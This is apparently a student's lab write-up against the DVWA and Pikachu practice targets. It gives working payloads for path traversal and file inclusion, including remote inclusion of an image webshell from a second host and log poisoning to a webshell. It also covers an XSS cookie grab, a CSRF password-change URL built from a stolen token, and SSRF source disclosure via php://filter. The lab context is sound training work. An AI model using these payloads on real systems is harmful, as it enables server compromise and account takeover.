1、文件包含
(1)DVWA环境下去包含其他目录的任意3个文件,要求使用相对路径
low
使用../去包含其他目录
使用很多的../穿越到网站系统的根目录,然后访问根目录下的文件
http://192.168.57.100:8082/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd
Medium
网站把,,/进行替换为空,但是没有循环,只替换了一次,所以采用双写绕过
http://192.168.57.100:8082/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//etc/passwd
High
源代码
只能是file开头的参数才能绕过,所以使用file协议
http://192.168.57.100:8082/vulnerabilities/fi/?page=file:///etc/shells
(2)远程文件包含
在电脑构造一个info.php文件(便于一会dvwa包含远程的这个文件)
然后启动phpstudy,构造一个远程环境,方便被包含
把刚刚构造好的php文件放到phpstudy的www网站根目录下,然后访问该文件
远程环境搭建完成,打开dvwa包含远程的这个php文件
192.168.57.100:8082/vulnerabilities/fi/?page=http://192.168.57.66/info.php
成功在dvwa靶场远程包含到本机的文件,但是发现该文件是把在远程的机器的解析的结果包含在网页,没有达到攻击的目的
所以我们不应该使用会被直接的解析的php文件
构造一个图片马
放到网站根目录,重新包含
成功解析到靶机的php版本
(3)中间件日志包含绕过,要求使用蚁剑连接成功
因为我们在DVWA中,apache回记录我们的访问日志,apache2日志文件路径为: /var/log/apache2/access.log
所以我们只需要构造恶意的日志就可以让文件包含来包含该文件,实现漏洞利用
chmod 755 /var/log/apache2
chmod 644 access.log
修改权限,让web端可以访问该日志文件
启动burp抓一个刷新网页的包
Cookie: Hm_lvt_435408cf352a14d68ef6861b9d51158c=1743069587; BEEFHOOK=EYGE6OgeQniAJfial39Vt4q51CZCZQdydG7GEHJFtEDGTpb5G1jrurLz3CsIpr6PxjDNv7z4eQcGeISM; PHPSESSID=rjai4t2osp377ova9kbcj5l0e1; security=low
修改包
重新访问该文件
使用蚁剑连接
需要填写刚刚准备好的cookie值
成功连接
2、CSRF
(1)DVWA-High等级
使用高等级后,在CSRF的修改请求中会携带用户token
所以必须得知道这个token,不然有不可控变量时无法构成CSRF漏洞攻击
这里和XSS漏洞结合一下
先使用XSS在用户的dvwa获取到用户的cookie
<img src=x onerror=alert(document.cookie)>
m_lvt_435408cf352a14d68ef6861b9d51158c=1743069587; BEEFHOOK=EYGE6OgeQniAJfial39Vt4q51CZCZQdydG7GEHJFtEDGTpb5G1jrurLz3CsIpr6PxjDNv7z4eQcGeISM; PHPSESSID=c87n0tv9p40nergvin99mlsbp6; security=high
然后在自己浏览器的dvwa里面抓一个刷新CSRF界面的包
把用户的cookie放过进去,然后服务器又只通过cookie来识别身份,所以这里是冒充用户进行请求,返回的请求包一定会有用户的token
d24f596dede01a7b23118e8ba7303231
利用这个token构造恶意URL,可以通过短链接处理一下
http://192.168.57.100:8082/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=d24f596dede01a7b23118e8ba7303231#
回到被攻击的浏览器,让admin用户访问我们构造的恶意URL
最终实现密码修改
(2)使用Burp生成CSRF利用POC并实现攻击
先使用不同的两个浏览器,模拟普通用户和攻击者
最终想要实现修改allen用户的信息
先使用burp抓Vince修改信息的包
鼠标右键数据包,选择构建CRFpoc
然后把poc保存为html文件,使用被攻击者的浏览器打开这个文件

3、SSRF:file_get_content实验,要求获取ssrf.php的源码
file_get_contents() 函数的作用是把整个文件读入一个字符串中
直接用用它原本的http读取这个文件ssrf
发现只会读取到网页,得不到源代码
然后换一个思路
可以使用php://filter来读取文件,这个可以把文件内容读出来
构造URL来读取ssrf.php
http://192.168.57.100:8083/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf.php
但是网站有php环境,会把读取出来的代码解析到网页上,无法知道源代码
所以需要对读取的内容处理一下,使用php://filter的其他参数,在read参数中加入 convert.base64-encode可以把读取的内容进行base64编码
http://192.168.57.100:8083/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
然后把这段加密的密文进行解密
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="ssrf.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
<p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
<br>
数据流:攻击者----->服务器---->目标地址<br>
<br>
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
<pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
</pre><br>
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
<br>
你可以根据"SSRF"里面的项目来搞懂问题的原因
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
4、文件包含、目录遍历和SSRF有什么区别?
文件包含、目录遍历和SSRF是三种不同的安全漏洞,核心区别在于攻击目标和利用方式:
文件包含通过动态加载文件include实现代码执行或敏感文件泄露,包含对象为文件系统(本地或远程),通常包含远程为了代码执行,包含本地为了查看敏感文件
目录遍历通过绕过路径限制(如../)直接访问未授权文件(如读取/etc/passwd),但通常不涉及代码执行
SSRF利用服务器发起恶意网络请求,通常是借助这个服务器作为跳板,攻击目标是其他系统而非本地文件
防御重点:文件包含需限制动态包含操作,使用白名单,目录遍历需规范化路径,禁止敏感文件在互联网暴露,SSRF需严格校验请求目标并禁用高危协议(如file://)